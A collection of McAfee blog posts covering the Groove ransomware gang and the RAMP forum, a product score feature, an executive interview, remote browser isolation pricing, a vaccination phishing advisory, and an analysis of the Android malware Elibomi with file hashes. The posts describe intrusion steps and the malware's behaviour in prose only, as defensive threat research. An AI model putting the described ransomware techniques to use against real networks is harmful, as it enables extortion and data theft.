At the time of the initial launch, Orange claimed the forum’s name was a tribute to a now-defunct Russian-language underground drug marketplace, “Russian Anonymous Marketplace,” which was taken down by Russian law enforcement agencies in 2017. The re-launched cybercrime forum’s name now supposedly stands for “Ransom Anon Mark[et] Place”.
The forum was initially launched on the same TOR-based resource that previously hosted a name-and-shame blog operated by the Babuk ransomware gang and the Payload.bin marketplace of leaked corporate data. The forum was later moved to a dedicated TOR-based resource and relaunched with a new layout and a revamped administrative team, where Orange acted as the admin, with other known actors MRT, 999 and KAJIT serving as moderators.
Why the admin changed handles from TetyaSluha to Orange isn’t 100 percent clear. However, looking back, the early days of RAMP provides us some evidence on who this person has been affiliated with. We found a posting from where the names Orange and Darkside are mentioned as potential monikers. Very shortly after that, TetyaSluha changed their handle to Orange. While the initial message has been removed from the forum itself, the content was saved thanks to Intel 471.
July 12th 2021 by Mnemo
Congratulations on the successful beginning of struggle for the right to choose and not to be evicted. I hope, the community will soon fill with reasonable individuals.
Oh yeah, you’ve unexpectedly reminded everyone about the wonderful RAMP forum. Are the handles Orange and Darkside still free?
The name Darkside might sound more familiar than Orange but, as we saw with the naming of RAMP, TetyaSluha is one for cybercrime sentiment, so there is almost certainly some hidden meaning behind it.
Based on ATR’s previous research, we believe the name Orange was chosen as a tribute to REvil/GandCrab. People familiar with those campaigns have likely heard of the actor ‘UNKN’. However, there was a less well known REvil affiliate admin named Orange. A tribute seems fitting if Tetyasluha isn’t the notorious Orange as that moniker is tied to some successful ransomware families, GandCrab and REvil, that shaped the RaaS ecosystem as we know it today.
In the past, UNKN was linked to several other monikers, however Orange was hardly mentioned since there wasn’t a matching public handle used on any particular cybercrime forum. However, REvil insiders will recognize the name Orange as one of their admins.
Based on ATR’s closed-source underground research, we believe with a high level of confidence, that UNKN was indeed linked to the aforementioned accounts, as well as the infamous “Crab”handle used by GandCrab. Crab was one of the two affiliate-facing accounts that the GandCrab team had (The other being Funnycrab). We believe with a high level of confidence that after the closure of GandCrab, the individual behind the Funnycrab account changed to the account name to Orange and continued operations with REvil, with only a subset of skilled GandCrab affiliates, (as described in our Virus Bulletin 2019 whitepaper) since GandCrab grew too big and needed to shed some weight.
The posting in figure 5 is also shedding some light on the start of the Groove Gang, their relationship to Babuk and, subsequently, BlackMatter.
In the post from Figure 5, “Orange” also claims to have always had a small group of people that the group collaborates with. Additionally, the actor claims that the name has not been mentioned in the media before, comparing the group to the Israeli secret service group Mossad. The group’s comparison to Mossad is extremely doubtful at best, given the drama that has publicly played out. Groove claims several of Babuk’s victims, including the Metropolitan Police Department, brought them a lot of attention. The several mentions to Babuk isn’t by mistake: we have evidence the two groups also have connections, which we’ve pieced together from examining the behavior of — and particularly the fallout between — the two groups.
Originally, the Babuk gang paid affiliates by each victim they attacked. Yet on April 30, it was reported that the gang suddenly had stopped working with affiliates, including the act of encrypting a victim’s system. Instead, their focus shifted to data exfiltration and extortion of targeted organizations. That was followed by the group releasing the builder for the old versions of its ransomware as it pivoted to a new one for themselves.
The attention that Babuk drew by hacking and extorting the Metropolitan Police Department meant their brand name became widely known. It also meant that more firms and agencies were interested in finding out who was behind it. This kind of heat is unwanted by most gangs, as any loose ends that are out there can come back to bite them.
Then, on September 3, the threat actor with the handle ‘dyadka0220’ stated that they were the principal developer of Babuk ransomware and posted what they claimed was the Babuk ransomware source code. They claimed the reason they were sharing everything was due to being terminally ill with lung cancer.
Figure 6. Dyadka0220 was possibly the developer that Orange hinted at in the posting (Figure 5) mentioned above.
On September 7, the Groove gang responded with a blog on their own website, titled “Thoughts about the meaning”, which rhymes in Russian. In this blog, the gang (allegedly) provides information on several recent happenings. Per their statement, the illness of ‘dyadka0220’ is a lie. Additionally, their response alleges that the Groove gang never created the Babuk ransomware themselves, but worked with someone else to produce it.
The validity of the claims in Groove’s latest blog is hard to determine, although this does not matter too much: the Babuk group, including affiliates, had a fallout that caused the group to break up, causing the retaliation of several (ex-)members.
The ATR team has covered Babuk multiple times. The first blog, published last February, covers the initial observations of the group’s malware. The second blog, published last July, dives into the ESXi version of the ransomware and its issues. The group’s tactics, techniques, and procedures (TTPs) are in-line with commonly observed techniques from ransomware actors. The deployment of dual-use tools, which can be used for both benign and malicious purposes, is difficult to defend against, as intent is an unknown term for a machine. Together with other vendors we have narrowed down some of the TTPs observed by the Groove gang.
The actor needs to get a foothold within the targeted environment. The access can be bought, in terms of stolen (yet valid) credentials, or direct access in the form of a live backdoor on one or more of the victim’s systems. Alternatively, the actor can exploit publicly facing infrastructure using a known or unknown exploit. To ATR’s understanding, the latter has been used several times by exploiting vulnerable VPN servers.
Moving around within the network is an important step for the actor, for two reasons. Firstly, it allows the attacker to find as much data as possible, which is then exfiltrated. Secondly, access to all machines is required in order to deploy the ransomware at a later stage. By encrypting numerous devices at once, it becomes even harder to control the damage from a defender’s point of view. The actor uses commonly known tools, such as Ad-Find and NetScan, to gather information on the network. Based on the gathered information, the actor will move laterally through the network. One of the most frequently observed methods by this actor to do so, is by using RDP.
To work with more than user-level privileges, the actor has a variety of options to escalate their privilege to a domain administrator. Brute forcing RDP accounts, the dumping of credentials, and the use of legacy exploits such as EternalBlue (CVE-2017-0144), are ways to quickly obtain access to one or more privileged accounts. Once access to these systems is established, the next phase of the attack begins.
The actor navigates through the machines on the network using the earlier obtained access. To exfiltrate the collected data, the attacker uses WinSCP. Note that other, similar, tools can also be used. Once all relevant data has been stolen, the attacker will execute the ransomware in bulk. This can be done in a variety of ways, ranging from manually starting the ransomware on the targeted machines, scheduling a task per machine, or using PsExec to launch the ransomware.
As discussed above, there was a fallout within Babuk. From that fallout, a part of the group stayed together to form Groove. The server that Babuk used, which we will refer to as the “wyyad” server due to the ending of the onion URL, rebranded in late August 2021. The similarities can be seen in the two screenshots below.
Figure 7. The changes to the landing page from Babuk to Groove
Aside from this, data from old Babuk victims is still hosted on this server. The ATR team found, among others, leaks that belong to:
All these victims have previously been claimed by (and attributed to) Babuk.
Another gang, known as BlackMatter, uses a variety of locations to host their extorted files, which can be done out of convenience or to avoid a single notice and takedown to remove all offending files. Additionally, the ATR team assumes, with medium confidence, that different affiliates use different hosting locations.
The data of one of the BlackMatter gang’s victims, a Thai IT service provider, is stored on the “wyyad” server. As such, it can mean that the Groove gang worked as an affiliate for the BlackMatter gang. This is in line with their claim to work with anybody, as long as they profit from it. The image below shows the BlackMatter leak website linking to the “wyyad” server.
Figure 8. screenshot of BlackMatter, where the data is stored on the Groove server
The Groove gang’s website contains, at the time of writing, a single leak: data from a German printing company. Even though the website is accessible via a different address, the leaked data is stored on the “wyyad” server.
Figure 9. Another Groove victim but stored on their own page
The affected company does not meet BlackMatter’s “requirements,” the group has said it only goes after companies that make more than $US 100 million. This company’s annual revenue is estimated at $US 75 million, as seen in the below screenshot.
Figure 10. Posting on the Exploit forum by BlackMatter
At the end of Orange’s announcement comes a call to action and collaboration: “GROOVE is first and foremost an aggressive financially motivated criminal organization dealing in industrial espionage for about two years. RANSOMWARE is no more than an additional source of income. We don’t care who we work with and how. You’ve got money? We’re in”.
The group’s primary goal, making money, is not limited to ransomware. Inversely, ransomware would be the cherry on top. This is yet another indication of the ransomware group’s shift to a less hierarchical set-up and a more fluid and opportunistic network-based way of working.
In the Groove gang’s blog on September 7, a reference is made with regards to BlackMatter, and its links to DarkSide. If true, these insights show that the Groove gang has insider knowledge of the BlackMatter gang. This makes the collaboration between Groove and BlackMatter more likely. If these claims are false, it makes one wonder as to why the Groove gang felt the need to talk about other gangs, since they seem to want to make a name for themselves.
Due to the above outlined actions ATR believes, with high confidence, that the Groove gang is a former affiliate or subgroup of the Babuk gang, who are willing to collaborate with other parties, as long as there is financial gain for them. Thus, an affiliation with the BlackMatter gang is likely.
Ever since Ransomware-as-a-Service became a viable, and highly profitable, business model for cybercriminals, it has operated in much the same way with affiliates being the sometimes underpaid workhorses at the bottom of a rigid pyramid shaped hierarchy.
For some affiliates there was an opportunity to become competent cybercriminals while, for many others, the lack of recompense and appreciation for their efforts led to ill-feeling. Combined with underground forums banning ransomware actors, this created the perfect opportunity for the threat actor known as Orange to emerge, with the Groove gang in tow, with the offer of new ways of working where an associate’s worth was based entirely on their ability to earn money.
Time will tell if this approach enhances the reputation of the Groove gang to the level of the cybercriminals they seem to admire. One thing is clear though; with the manifestation of more self-reliant cybercrime groups the power balance within the RaaS eco-climate will change from he who controls the ransomware to he who controls the victim’s networks.
We have compiled a list of TTPs based on older Babuk cases and some recent cases linked to Groove:
If a partnership is achieved with a Ransomware family:
The post How Groove Gang is Shaking up the Ransomware-as-a-Service Market to Empower Affiliates appeared first on McAfee Blog.
Customers often ask us some version of this question. It’s a good question and in the past, there was no direct answer – only recommendations. For instance, we recommend online protection that goes beyond antivirus to include identity and privacy protection, as well as promoting safety best practices like using multi-factor authentication. We wondered if there was a simpler and easier way to advise customers how to better protect themselves.
A recent survey shows how important online security has become to consumers. We found that 74% of you have concerns about keeping your information private online. 57% want to be more in control of their personal info online. And, since the pandemic started, 47% of online consumers feel unsafe compared to 29%. Simply put, customers are more conscious of their safety online than ever before, and eager to play an active role in their protection.
It’s time for a new approach – meet the Protection Score.
If you’re thinking this looks like a credit, fitness, sleep, or any of the other scores we now use to visualize and quantify aspects of our life, you’re on the right track.
Your personalized Protection Score is a measure of your security online. The higher your score, the safer you are online. Your score will highlight any weaknesses in your security and help you fix them with easy step-by-step instructions. We’ll also let you know which features haven’t been setup so you can get the most out of your protection.
When we developed Protection Score the idea was to give customers a simple solution to better protect themselves and get the most from their subscription, including security tips to protect their identity, privacy, and devices, while also improving their online habits. We wanted it to be easy for anyone to:
Now that we’ve talked about Protection Score generally, let’s look at how it works in practice. Your score is based on a few things, including setting up your McAfee protection, strengthening your security with our safety recommendations, and ensuring your personal info is safely monitored with Identity Protection.
For example, if your information is exposed in a data breach your score may drop, but you can improve it by following our easy-to-follow remediation steps. Once you’ve completed those steps your score will go back up and you can be confident knowing you’re better protected online.
A perfect score does not mean you’re perfectly safe, but it does mean that you’re doing an excellent job of preventing and managing risks.
Your Protection Score is a great way to understand how safe you are at a glance. Additionally, improving your score ensures your life online is being protected by many of the safety features and benefits McAfee has to offer. For instance, the subscriber, John Smith, can see they’re fairly safe based on their score. However, it isn’t a perfect score and there are a few actions they could still take to improve it. In this case, adding their email and phone number to dark web monitoring – a crucial step in protecting their personally identifiable information online.
Protection Score can be easily accessed* from your browser of choice on any device so you can review our guidance and take steps to improve your score from wherever you are. McAfee’s Protection Score is a first for the cybersecurity industry, but we’re not stopping there. We’re going to continue to improve the feature by adding more personalization and accessibility so you can enjoy your life online knowing exactly how protected you are.
*Note that Protection Score is currently live in the US, Canada, Brazil, Australia, New Zealand, Japan, UK, Germany, France, Spain, and Italy.
The post Stay on top of your online security with our Protection Score appeared first on McAfee Blog.
I’m back at it again with another round of our executive blog series. This week I had the privilege to speak with Tom Gann, our Chief Public Policy officer and he had some interesting things to say on the cyber security issues that are shaping public policy dialogue in Washington DC and other capitals around the world, and much much more.
Q: What is one event in your life that made you who you are today? |
Teaching tennis. I know that teaching tennis is not an event, it’s a sport. For me it was a business at a young age that helped to change my life.
I grew up in Palo Alto, CA, when the town was middle-class. I went to Gunn High School when the school was very good at tennis – they had 10 undefeated seasons. My parents were kind enough to pay for tennis lessons and while I was only a so-so tennis player, my tennis coach thought that I would be a good teacher. And so, starting in the 11th grade, I began teaching tennis for a tennis shop in Menlo Park called the Better Backhand. Then later, when I was at Stanford, I started my own business teaching lessons on private tennis courts which helped me pay for school and a car.
Through this experience, I learned how to become a professional and most importantly, how to relate to people while helping them learn something valuable. I am amazed that many of the things I learned from teaching tennis still guide me today: treating people well, empowering them, and striving to get things done that matter.
Q: What are the biggest cyber security issues shaping the public policy dialogue in Washington DC and other capitals around the world? |
The reality today, and likely in the future, is that the bad guys have and will continue to have the advantage. Bad guys need to be right one time to get into a government or company environment. The good guys, playing defense, need to be right every time. This reality is made more challenging by the fact that today’s typical new, best-in-class cyber security solution is often out of date in two years because the bad guys are great at innovating. At the same time, unfortunately, many organizations are too slow or too distracted to ensure all their cyber security solutions work effectively together.
The threats from nation states, criminal organizations, and terrorist groups is only getting bigger as time goes on – meaning our challenge continually grows, shifts, and evolves. Today, these actors are perfecting a wide range of ransomware strategies to blackmail all types of organizations in the public and private sectors.
Responsible governments and citizens need to demand real change, they need to push non-compliant nation states to commit to a basic level of fair play. The public and private sectors also need to work together to create a firewall against these bad actors who use ransomware to achieve such strategic objectives as profit and intimidation.
Q: What is the true value cloud security has brought to the government contracting and federal sectors? Why is there so much hype around this technology? |
Everyone is moving to the cloud – private and public sector organizations as well as folks at home. This trend makes sense because the cloud is cost effective, reliable, and highly secure. However, the key in this shift is to make sure that government agencies have the flexibility to rapidly work with private sector experts – the data center, the enterprise software, and the cyber security leaders – to ensure long term success. Too often, I have seen government agencies use outdated procurement rules and processes that bog down progress. This often results in cloud and data center deployments, particularly when government agencies host these infrastructures, being completed with last generation solutions.
At the same time, outdated contracting rules can limit the ability of agencies to field the most up to date cyber security solutions. This challenge is becoming a bigger deal as agencies deploy multiple cloud solutions. These many cloud implementations create targets of opportunity for hackers who exploit security gaps between and among clouds, meaning agencies need to be proactive to ensure that their move to the cloud is safe and effective. Policymakers need to step up to the plate and modernize procurement rules and processes. Such support will help government agencies work quicker and more effectively to serve our citizens who demand first-class service from their government.
Q: How can our organization be the best partner to government agencies moving forward? |
It is all about trust. Without trust you have noting. Working with the government, a company, or your neighbor down the street is the same – it all depends on trust. This means doing what you say you will do and working to overdeliver on your commitments.
The post Executive Spotlight: Q&A with Chief Public Policy Officer, Tom Gann appeared first on McAfee Blog.
Security professionals and technologists old enough to remember renting movies at Blockbuster on Friday nights likely also remember a time when the internet was a new phenomenon full of wonder and promise. These same individuals probably view it through a more skeptical lens seeing it now as a cesspool of malware and great risk. It’s also widely understood that no web security solution can offer perfect protection against the metaphorical minefield that is the internet. This last statement, however, is being challenged by a new technology that is grasping at the title of perfect web security. This mythical technology is Remote Browser Isolation, or RBI, and it can be argued that it does, in fact, provide its users with invincibility against web-based threats.
Remote Browser Isolation changes the playbook on web security in one very fundamental way: it doesn’t rely on detecting threats. When a user tries to browse to a website, the RBI solution instantiates an ephemeral browser in a remote datacenter which loads all the requested content. The RBI solution then renders the website into a dynamic visual stream that enables the user to see and safely interact with it.
Figure 1: How Remote Browser Isolation works.
User behavior can be controlled at a granular level, preventing uploads, downloads, and even copy & paste using the local clipboard. When properly configured, absolutely none of the content from the requested site is loaded on the local client. For this reason, it can be argued that it’s literally impossible for malware to be delivered to the local client. Of course, the RBI solution’s ephemeral browser instance may be compromised, but it will be fully isolated from the organization’s valuable assets and data, rendering the attack harmless. As soon as the user closes their local browser tab, the ephemeral browser is destroyed.
The value of this cannot be overstated. The world is increasingly conducting its affairs through web browsers, and the challenge of detecting threats continues to increase at an exponential rate. While there is great efficacy and value in the threat intelligence and malware detection capabilities of web security solutions today, the “cat & mouse” game being played with cybercriminals means that they’re simply never going to offer perfect protection. Attackers often use zero-day threats coupled with domains registered perhaps within the past few minutes to compromise their victims, and these methods will too often succeed in circumventing any detection-based security measures. The game-changing efficacy of RBI and the fact its inception was actually more than 10 years ago should bring an obvious question to mind – If it’s so great, why doesn’t every organization in the world use RBI today? There are a few relevant answers to this, but one rises above all the rest: cost.
RBI’s method of instantiating remote web browsers for all users precludes the possibility of any implementation that is not expensive to deliver. Consider the size of a modern enterprise, the number of users, the number of web browser tabs an average user keeps open, and then consider the amount of memory and CPU consumed by each of those tabs. To mirror these resources in a remote datacenter will always be a costly proposition. For this reason, many RBI solutions on the market today may literally consume the entire security budget allocated for each licensed user. As prevalent as web-based threats are today and as effective as RBI’s protection may be, no security organization can dedicate most or all of their security budget to a single technology or even a single threat vector.
To better understand the cost problem and how it may be solved, let’s take a closer look at the two most common use cases for RBI. The first and most common use case is handling uncategorized sites or sites with unknown risk, known as selective isolation. As mentioned before, attackers will often use a site that was registered very recently to deliver their web-based threats to victims. Therefore, organizations often want to block any site that has not been categorized by their web security vendor. However, the problem is that many legitimate sites can be uncategorized resulting in unnecessary blocking that may impact business. Managing such a policy is very tedious, and the user experience tends to suffer greatly. RBI is an ideal solution to this problem where you can grant users access to these sites while maintaining a high level of security. This situation calls for a selective use of RBI where trusted sites are filtered through more traditional means while only the unknown or high-risk sites are isolated.
The other common need for RBI is various groups of high-risk users. Consider C-level executives who have access to highly sensitive information relating to business strategies, intellectual property, and other information that must remain private. Another common example is IT administrators who have elevated privileges that could be devastating if their accounts were compromised. In these scenarios, organizations may look to isolate all of the traffic for these users including even sites that are trusted. Typically, this full isolation approach is reserved for only a subset of users who pose a particularly high risk if compromised.
In light of these two use cases, selective isolation and full isolation, let’s take a closer look at the cost of this invincibility-granting technology. Let’s consider a hypothetical organization, Brycin International, who has a total of 10,000 users. Brycin has identified 400 users who either have access to critical data or have elevated permissions and therefore require full-time isolation. We will assume a street price of $100 per user for full time isolation totaling $40,000 for these users. This seems like a reasonable cost considering the elevated risk a compromise would represent for any one of these users. Brycin would also like to leverage selective isolation for the rest of the user population, or 9,600 users. Some solutions may require purchasing a full license, but most offer a discounted license for selective isolation. We will assume a generous discount of 60%, resulting in a total cost of $40 per user or $384,000 for the rest of the organization. This gives us a total price tag of $424,000 for Brycin, or an average cost of $42.40 per user.
Not only is this a steep cost for our 10,000-user enterprise, but the cost does not at all align with the value or the cost to deliver the solution. The 9,600 selective isolation users may represent 96% of the user population, but when you consider the fact that only a small percentage of their web traffic will actually be isolated – state-of-the-art web threat security stacks can detect as much as 99% of all threats, leaving 1% of all traffic to be isolated – they generate perhaps less than 20% of the isolated web traffic. The full isolation users, while a minority of the license count, will represent the bulk of the isolated web traffic – a little more than 80%. However, despite the fact that selective isolation users are responsible for such a small share of all isolated traffic and given the generous 60% discounted licensing, they are still by far the largest expense at over 90% of the total solution cost! This ratio of cost to value simply will not align with the budget and goals of most security organizations.
Figure 2: The disproportionate relationship between RBI users, traffic load, and solution cost.
McAfee Enterprise has now upended this unfortunate paradigm by incorporating remote browser isolation technology natively into our MVISION Unified Cloud Edge platform. McAfee Enterprise offers two licensing options for RBI: RBI for Risky Web and Full Isolation. RBI for Risky Web uses an algorithm built by McAfee Enterprise to automatically trigger browser isolation for any site McAfee Enterprise determines to be potentially malicious. This is designed to address the most common use case, selective isolation, and it is included at no additional cost for any Unified Cloud Edge customer. Additionally, Full Isolation licenses can be purchased as an add-on for any users that require isolation at all times. These Full Isolation licenses allow you to create your own policy dictating which sites are isolated or not for these users.
Now, let’s revisit Brycin International’s cost to deliver enterprise-wide RBI if they chose McAfee Enterprise. As we saw earlier, despite the fact the selective isolation users generated less than 20% of the traffic, they represented over 90% of the total cost of the solution. With McAfee Enterprise’s licensing model, these users would not require any additional licenses at all, reducing this cost to zero! Now, Brycin only has to consider the Full Isolation add-on licenses for their 400 high-risk users, or $40,000 – this is now the entire cost for the enterprise-wide RBI deployment. While $100 per user still may exceed the per-user security budget for Brycin, it is now diluted by the total user population, reducing the per-user cost of the RBI deployment from $42.40 to only $4. This is a tremendous reduction in cost for equal or greater value, making RBI much more likely to fit into Brycin’s budget and overall security plans.
This may beg the question, “How can McAfee Enterprise do this?” In short, as one of the most mature security vendors in the world, McAfee Enterprise has the most powerful threat intelligence and anti-malware capabilities in the market today. McAfee Enterprise’s Global Threat Intelligence service leverages over 1 billion threat sensors around the world reducing the unknowns to an extremely small fraction of all web traffic. In addition, its heuristics-based anti-malware technology is able to detect many zero-day malware variants. More uniquely, the Gateway Anti-Malware engine offers inline, real-time, emulation-based sandboxing using behavioral analysis to identify never-before seen threats based on their behavior. After analyzing the combined effectiveness of these technologies, we found that only a small percentage of web traffic could not be confidently identified as either safe or malicious – roughly 0.5%. This made the cost of delivering selective RBI for Risky Web something that could be easily absorbed without any additional cost to our customers.
Remote Browser Isolation is an absolute paradigm shift in how we can protect our most critical assets against web-based threats today. While the benefits are tremendous, cost has been a significant barrier preventing this powerful defense from becoming a ubiquitous technology. McAfee Enterprise has broken down this barrier by leveraging our superior threat intelligence to reduce the cost of delivering RBI and then passing this savings on to our customers.
Remove the risk and enjoy worry-free web browsing with McAfee’s RBI.
The post Remote Browser Isolation: The Next Great Security Technology is Finally Attainable appeared first on McAfee Blog.
You open your laptop and see an email from a healthcare organization that you don’t recognize. The subject line reads “URGENT – PROOF OF VACCINATION NEEDED.” Impulsively, you open the email and click on the link. You’re redirected to a website that asks you to enter your name, date of birth, Social Security Number, and a photo of your vaccine card. Scrambling, you enter the information and click “Submit.”
As you continue to adapt your lifestyle to the ongoing public health precautions, it’s important to consider how these precautions can affect your digital health as well. According to the Washington Post, pandemic-related email scams are on the rise, especially with the delta variant surging. McAfee Labs’ April 2021 Threats Report found that COVID-19-themed cyber-attack detections increased 114% in Q3 and Q4 of 2020. Research also shows that COVID-19 phishing attempts in June 2021 increased 33%. With confusion around proof of vaccination and booster shots emerging, it’s likely that cybercriminals will take advantage.
As employers re-evaluate their return-to-office plans, some are requiring proof of vaccination or negative COVID-19 test results. This creates a new opportunity for cybercriminals to exploit. Researchers have uncovered phishing emails disguised as human resources departments asking recipients to submit personally identifiable information about their vaccination status. Many of these types of emails contain links to fake login pages. If the recipient proceeds with entering their credentials and personal data, cybercriminals can use the consumer’s data to conduct credential stuffing attacks and hack their online profiles. This could lead to credit card fraud, data extraction, wire transfers, identity theft, and more.
With various organizations contacting individuals about potential virus exposure, testing and vaccination information, and other public health news, it’s important to remember that some of these organizations may not be what they say they are. That email from the healthcare company you’ve never heard of? It’s probably a cybercriminal in disguise. Some hackers are impersonating public health and government organizations, sending phishing emails in the hopes of collecting users’ names, Social Security Numbers, birthdates, and other valuable data. Criminals tend to sell this information on the dark web, making a profit while the recipients’ online safety is put in jeopardy.
As more news and recommendations for dealing with the pandemic continues to emerge, it’s important that you stay vigilant when it comes to protecting your digital wellness. After all, it’s just as important as your physical wellness! In addition to staying updated on the latest COVID-19-related scams, follow these tips to keep yourself secure from online threats like phishing scams:
If you receive an email or text message from an organization that you’re unfamiliar with, do some sleuthing. Verify that the organization is legitimate. The same goes if you receive a message from an entity that you recognize. If your “HR department” or a “doctor’s office” contacts you and asks for personal information, reach out to them directly instead of replying directly or clicking on any links in the message. This can prevent you from interacting with a hacker in disguise.
Oftentimes, hackers will use a URL for their spoofed website that is just one character off from the legitimate site. Before clicking on any website from an email asking you to act, hover over the link with your cursor. This will allow you to preview the URL and identify any suspicious misspellings or grammatical errors before navigating to a potentially dangerous website.
Multi-factor authentication requires that users confirm a collection of things to verify their identity—usually something they have, and a factor unique to their physical being—such as a retina or fingerprint scan. This can prevent a cybercriminal from using credential-stuffing tactics (where they will use email and password combinations to hack into online profiles) to access your network or account if your login details were ever exposed during a data breach and sold on the dark web.
An identity theft alert service warns you about suspicious activity surrounding your personal information, allowing you to jump to action before irreparable damage is done. McAfee Total Protection not only keeps your devices safe from viruses but gives you the added peace of mind that your identity is secure, as well.
The post How Fraudsters Are Fooling Users With This Proof of Vaccination Phishing Scam appeared first on McAfee Blog.
Authored by ChanUng Pak
McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices.
During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app.
We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available.
The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021.
Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions
After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device:
Figure 2. Elibomi stealing SMS messages
Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps:
Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services.
McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
For those interested in a deeper dive into our research…
During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return:
Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware
Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices:
Figure 4. Example of account information exposed in one of the C2 servers
If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible:
Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India
Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right:
Figure 6. Different malicious applications for different users
During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund:
Figure 7. Fake iMobile screens designed to capture personal and financial information
The sensitive financial information provided by the tricked user is also exposed on the Internet:
Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app
The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020. In the following figure we can see the similarities in the code between the two malware campaigns:
Figure 9. Code similarity between Elibomi campaigns
The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device:
Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background
Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign:
Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile”
The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value
Figure 12. Calling the de-obfuscation method with different parameters
Figure 13. String de-obfuscation method
Figure 14. String de-obfuscation table
The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string.
| Hash | Package name | ||
| 1e8fba3c530c3cd7d72e208e25fbf704ad7699c0a6728ab1b290c645995ddd56 | direct.uujgiq.imobile | ||
| 7f7b0555563e08e0763fe52f1790c86033dab8004aa540903782957d0116b87f |
ferrero.uabxzraglk.imobile
|
||
| 120a51611a02d1d8bd404bb426e07959ef79e808f1a55ce5bff33f04de1784ac |
erni.zbvbqlk.imobile
|
||
| ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef |
olayan.bxynrqlq.imobile
|
||
| da900a00150fcd608a09dab8a8ccdcf33e9efc089269f9e0e6b3daadb9126231 | foundation.aznohomqlq.imobile | ||
| 795425dfc701463f1b55da0fa4e7c9bb714f99fecf7b7cdb6f91303e50d1efc0 | fresenius.bowqpd.immobile | ||
| b41c9f27c49386e61d87e7fc429b930f5e01038d17ff3840d7a3598292c935d7 | cisco.uemoveqlg.immobile | ||
| 8de8c8c95fecd0b1d7b1f352cbaf839cba1c3b847997c804dfa2d5e3c0c87dfe | komatsu.mjeqls.imobile | ||
| ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef | olayan.bxynrqlq.imobile | ||
| 326d81ba7a715a57ba7aa2398824b420fff84cda85c0dd143462300af4e0a37a | alstom.zjeubopqf.certificate | ||
| 154cfd0dbb7eb2a4f4e5193849d314fa70dcc3caebfb9ab11b4ee26e98cb08f7 | alstom.zjeubopqf.certificate | ||
| c59ecd344729dac99d9402609e248c80e10d39c4d4d712edef0df9ee460fbd7b | alstom.zjeubopqf.certificate | ||
| 16284cad1b5a36e2d2ea9f67f5c772af01b64d785f181fd31d2e2bec2d98ce98 | alstom.zjeubopqf.certificate | ||
| 98fc0d5f914ae47b61bc7b54986295d86b502a9264d7f74739ca452fac65a179 | alstom.zjeubopqf.certificate | ||
|
32724a3d2a3543cc982c7632f40f9e831b16d3f88025348d9eda0d2dfbb75dfe
|
computer.yvyjmbtlk.transferInstant | ||
